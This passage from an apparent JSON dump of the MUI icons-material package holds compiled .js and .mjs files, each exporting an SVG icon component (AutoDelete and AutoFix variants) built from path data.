/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"1\")], 'AutoDeleteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v12c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m-7 7c0 .34.03.67.08 1H4V7h8v3.26c-1.81 1.27-3 3.36-3 5.74m7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"1\")], 'AutoDeleteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 9c-.7 0-1.37.1-2 .29V7c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5M14 4c.55 0 1-.45 1-1s-.45-1-1-1h-2.5l-.71-.71c-.18-.18-.44-.29-.7-.29H5.91c-.26 0-.52.11-.7.29L4.5 2H2c-.55 0-1 .45-1 1s.45 1 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.75 12c-.41 0-.75.34-.75.75v3.68c0 .36.19.68.5.86l2.52 1.47c.33.19.75.09.96-.22.23-.34.12-.81-.24-1.02L16.5 16.2v-3.45c0-.41-.34-.75-.75-.75\"\n}, \"1\")], 'AutoDeleteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 9c-.7 0-1.37.1-2 .29V7c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5M14 4c.55 0 1-.45 1-1s-.45-1-1-1h-2.5l-.71-.71c-.18-.18-.44-.29-.7-.29H5.91c-.26 0-.52.11-.7.29L4.5 2H2c-.55 0-1 .45-1 1s.45 1 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.75 12c-.41 0-.75.34-.75.75v3.68c0 .36.19.68.5.86l2.52 1.47c.33.19.75.09.96-.22.23-.34.12-.81-.24-1.02L16.5 16.2v-3.45c0-.41-.34-.75-.75-.75\"\n}, \"1\")], 'AutoDeleteRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v14h7.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"1\")], 'AutoDeleteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v14h7.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m0 12c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"1\")], 'AutoDeleteSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7H4v10h5.08c-.05-.33-.08-.66-.08-1 0-2.38 1.19-4.47 3-5.74z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v12c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m-7 7c0 .34.03.67.08 1H4V7h8v3.26c-1.81 1.27-3 3.36-3 5.74m7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"2\")], 'AutoDeleteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoDeleteTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7H4v10h5.08c-.05-.33-.08-.66-.08-1 0-2.38 1.19-4.47 3-5.74z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 2h-3.5l-1-1h-5l-1 1H1v2h14zm1 7c-.7 0-1.37.1-2 .29V5H2v12c0 1.1.9 2 2 2h5.68c1.12 2.36 3.53 4 6.32 4 3.87 0 7-3.13 7-7s-3.13-7-7-7m-7 7c0 .34.03.67.08 1H4V7h8v3.26c-1.81 1.27-3 3.36-3 5.74m7 5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 12H15v5l3.6 2.1.8-1.2-2.9-1.7z\"\n}, \"2\")], 'AutoDeleteTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHigh.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 5.6 10 7 8.6 4.5 10 2 7.5 3.4 5 2l1.4 2.5L5 7zm12 9.8L17 14l1.4 2.5L17 19l2.5-1.4L22 19l-1.4-2.5L22 14zM22 2l-2.5 1.4L17 2l1.4 2.5L17 7l2.5-1.4L22 7l-1.4-2.5zm-7.63 5.29a.996.996 0 0 0-1.41 0L1.29 18.96c-.39.39-.39 1.02 0 1.41l2.34 2.34c.39.39 1.02.39 1.41 0L16.7 11.05c.39-.39.39-1.02 0-1.41zm-1.03 5.49-2.12-2.12 2.44-2.44 2.12 2.12z\"\n}), 'AutoFixHigh');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHigh.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 5.6 10 7 8.6 4.5 10 2 7.5 3.4 5 2l1.4 2.5L5 7zm12 9.8L17 14l1.4 2.5L17 19l2.5-1.4L22 19l-1.4-2.5L22 14zM22 2l-2.5 1.4L17 2l1.4 2.5L17 7l2.5-1.4L22 7l-1.4-2.5zm-7.63 5.29a.996.996 0 0 0-1.41 0L1.29 18.96c-.39.39-.39 1.02 0 1.41l2.34 2.34c.39.39 1.02.39 1.41 0L16.7 11.05c.39-.39.39-1.02 0-1.41zm-1.03 5.49-2.12-2.12 2.44-2.44 2.12 2.12z\"\n}), 'AutoFixHigh');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zM8.5 7l.94-2.06L11.5 4l-2.06-.94L8.5 1l-.94 2.06L5.5 4l2.06.94zM20 12.5l-.94 2.06-2.06.94 2.06.94.94 2.06.94-2.06L23 15.5l-2.06-.94zm-2.29-3.38-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42m-3.54-.7 1.41 1.41L14.41 11 13 9.59zM5.83 19.59l-1.41-1.41L11.59 11 13 12.41z\"\n}), 'AutoFixHighOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zM8.5 7l.94-2.06L11.5 4l-2.06-.94L8.5 1l-.94 2.06L5.5 4l2.06.94zM20 12.5l-.94 2.06-2.06.94 2.06.94.94 2.06.94-2.06L23 15.5l-2.06-.94zm-2.29-3.38-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42m-3.54-.7 1.41 1.41L14.41 11 13 9.59zM5.83 19.59l-1.41-1.41L11.59 11 13 12.41z\"\n}), 'AutoFixHighOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.45 6 .49-1.06L22 4.45c.39-.18.39-.73 0-.91l-1.06-.49L20.45 2c-.18-.39-.73-.39-.91 0l-.49 1.06-1.05.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.17.39.73.39.9 0M8.95 6l.49-1.06 1.06-.49c.39-.18.39-.73 0-.91l-1.06-.48L8.95 2c-.17-.39-.73-.39-.9 0l-.49 1.06-1.06.49c-.39.18-.39.73 0 .91l1.06.49L8.05 6c.17.39.73.39.9 0m10.6 7.5-.49 1.06-1.06.49c-.39.18-.39.73 0 .91l1.06.49.49 1.06c.18.39.73.39.91 0l.49-1.06 1.05-.5c.39-.18.39-.73 0-.91l-1.06-.49-.49-1.06c-.17-.38-.73-.38-.9.01m-1.84-4.38-2.83-2.83a.996.996 0 0 0-1.41 0L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0L17.7 10.53c.4-.38.4-1.02.01-1.41m-3.5 2.09L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixHighRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.45 6 .49-1.06L22 4.45c.39-.18.39-.73 0-.91l-1.06-.49L20.45 2c-.18-.39-.73-.39-.91 0l-.49 1.06-1.05.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.17.39.73.39.9 0M8.95 6l.49-1.06 1.06-.49c.39-.18.39-.73 0-.91l-1.06-.48L8.95 2c-.17-.39-.73-.39-.9 0l-.49 1.06-1.06.49c-.39.18-.39.73 0 .91l1.06.49L8.05 6c.17.39.73.39.9 0m10.6 7.5-.49 1.06-1.06.49c-.39.18-.39.73 0 .91l1.06.49.49 1.06c.18.39.73.39.91 0l.49-1.06 1.05-.5c.39-.18.39-.73 0-.91l-1.06-.49-.49-1.06c-.17-.38-.73-.38-.9.01m-1.84-4.38-2.83-2.83a.996.996 0 0 0-1.41 0L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0L17.7 10.53c.4-.38.4-1.02.01-1.41m-3.5 2.09L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixHighRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zM8.5 7l.94-2.06L11.5 4l-2.06-.94L8.5 1l-.94 2.06L5.5 4l2.06.94zM20 12.5l-.94 2.06-2.06.94 2.06.94.94 2.06.94-2.06L23 15.5l-2.06-.94zm-1.59-2.67-4.24-4.24L1.59 18.17l4.24 4.24zm-4.2 1.38L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixHighSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zM8.5 7l.94-2.06L11.5 4l-2.06-.94L8.5 1l-.94 2.06L5.5 4l2.06.94zM20 12.5l-.94 2.06-2.06.94 2.06.94.94 2.06.94-2.06L23 15.5l-2.06-.94zm-1.59-2.67-4.24-4.24L1.59 18.17l4.24 4.24zm-4.2 1.38L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixHighSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.415 18.1666 7.17-7.17 1.4143 1.4142-7.17 7.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zM8.5 7l.94-2.06L11.5 4l-2.06-.94L8.5 1l-.94 2.06L5.5 4l2.06.94zM20 12.5l-.94 2.06-2.06.94 2.06.94.94 2.06.94-2.06L23 15.5l-2.06-.94zm-2.29-3.38-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42M5.83 19.59l-1.41-1.41L11.59 11 13 12.41zM14.41 11 13 9.59l1.17-1.17 1.41 1.41z\"\n}, \"1\")], 'AutoFixHighTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixHighTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.415 18.1666 7.17-7.17 1.4143 1.4142-7.17 7.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zM8.5 7l.94-2.06L11.5 4l-2.06-.94L8.5 1l-.94 2.06L5.5 4l2.06.94zM20 12.5l-.94 2.06-2.06.94 2.06.94.94 2.06.94-2.06L23 15.5l-2.06-.94zm-2.29-3.38-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42M5.83 19.59l-1.41-1.41L11.59 11 13 12.41zM14.41 11 13 9.59l1.17-1.17 1.41 1.41z\"\n}, \"1\")], 'AutoFixHighTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormal.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 2-2.5 1.4L17 2l1.4 2.5L17 7l2.5-1.4L22 7l-1.4-2.5zm-7.63 5.29a.996.996 0 0 0-1.41 0L1.29 18.96c-.39.39-.39 1.02 0 1.41l2.34 2.34c.39.39 1.02.39 1.41 0L16.7 11.05c.39-.39.39-1.02 0-1.41zm-1.03 5.49-2.12-2.12 2.44-2.44 2.12 2.12z\"\n}), 'AutoFixNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormal.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 2-2.5 1.4L17 2l1.4 2.5L17 7l2.5-1.4L22 7l-1.4-2.5zm-7.63 5.29a.996.996 0 0 0-1.41 0L1.29 18.96c-.39.39-.39 1.02 0 1.41l2.34 2.34c.39.39 1.02.39 1.41 0L16.7 11.05c.39-.39.39-1.02 0-1.41zm-1.03 5.49-2.12-2.12 2.44-2.44 2.12 2.12z\"\n}), 'AutoFixNormal');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-2.29 2.12-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42m-3.54-.7 1.41 1.41L14.41 11 13 9.59zM5.83 19.59l-1.41-1.41L11.59 11 13 12.41z\"\n}), 'AutoFixNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-2.29 2.12-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42m-3.54-.7 1.41 1.41L14.41 11 13 9.59zM5.83 19.59l-1.41-1.41L11.59 11 13 12.41z\"\n}), 'AutoFixNormalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.45 6 .49-1.06L22 4.45c.39-.18.39-.73 0-.91l-1.06-.49L20.45 2c-.18-.39-.73-.39-.91 0l-.49 1.06-1.05.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.17.39.73.39.9 0m-2.74 3.12-2.83-2.83a.996.996 0 0 0-1.41 0L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0L17.7 10.53c.4-.38.4-1.02.01-1.41m-3.5 2.09L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.45 6 .49-1.06L22 4.45c.39-.18.39-.73 0-.91l-1.06-.49L20.45 2c-.18-.39-.73-.39-.91 0l-.49 1.06-1.05.49c-.39.18-.39.73 0 .91l1.06.49.49 1.05c.17.39.73.39.9 0m-2.74 3.12-2.83-2.83a.996.996 0 0 0-1.41 0L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.39.39 1.02.39 1.41 0L17.7 10.53c.4-.38.4-1.02.01-1.41m-3.5 2.09L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixNormalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-1.59 2.83-4.24-4.24L1.59 18.17l4.24 4.24zm-4.2 1.38L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-1.59 2.83-4.24-4.24L1.59 18.17l4.24 4.24zm-4.2 1.38L12.8 9.8l1.38-1.38 1.41 1.41z\"\n}), 'AutoFixNormalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m4.415 18.1666 7.17-7.17 1.4143 1.4142-7.17 7.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-2.29 2.12-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42M5.83 19.59l-1.41-1.41L11.59 11 13 12.41zM14.41 11 13 9.59l1.17-1.17 1.41 1.41z\"\n}, \"1\")], 'AutoFixNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixNormalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m4.415 18.1666 7.17-7.17 1.4143 1.4142-7.17 7.17z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20 7 .94-2.06L23 4l-2.06-.94L20 1l-.94 2.06L17 4l2.06.94zm-2.29 2.12-2.83-2.83c-.2-.19-.45-.29-.71-.29s-.51.1-.71.29L2.29 17.46c-.39.39-.39 1.02 0 1.41l2.83 2.83c.2.2.45.3.71.3s.51-.1.71-.29l11.17-11.17c.39-.39.39-1.03 0-1.42M5.83 19.59l-1.41-1.41L11.59 11 13 12.41zM14.41 11 13 9.59l1.17-1.17 1.41 1.41z\"\n}, \"1\")], 'AutoFixNormalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AutoFixOff.js",
